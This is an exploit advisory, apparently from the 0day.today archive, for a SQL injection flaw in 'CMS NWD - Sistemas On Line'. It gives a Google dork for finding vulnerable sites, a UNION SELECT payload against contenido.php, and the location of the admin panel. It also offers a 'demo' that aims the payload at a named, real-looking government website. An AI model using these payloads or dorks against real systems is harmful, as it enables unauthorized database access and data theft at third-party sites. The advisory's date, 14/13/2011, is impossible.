CMS NWD - Sistemas On Line SQL Injection Vulnerability

# Exploit Title: CMS NWD - Sistemas On Line SQL Injection Vulnerability
# Date: 14/13/2011
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: CMS NWD
# Software Link: http://www.sistemasonline.com/system/contenido.php?id_cat=16
# Dork: allinurl: /system/contenido.php?id_cat=

[Comment]
Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Lisandro
Lezaeta, Nicolas Montanaro, Inyexion, Login-Root, KikoArg, Ricota,ulises2k, Luciano Laporta Poddaza
Xarnuz, Truenex, TsunamiBoom, _tty0, Big, Sunplace, Killerboy,Erick Jordan,Animacco ,
yojota, Pablin77, SPEED, Knet, Cereal, Yago, Rash, MagnoBalt, El Rodrix, l0ve, NetT0xic,
Gusan0r, Sabertrail, Maxi Soler, Darioxhcx,r0dr1,Zer0-Zo0rg, y0u-know, SIR <3


[POC]

http://path/system/contenido.php?id_cat=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

Admin panel:

http://path/control/

[Demo]
http://opcionmusica.mdebuenosaires.gov.ar/system/objetos.php?id_prod=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--



#  0day.today [2018-01-01]  #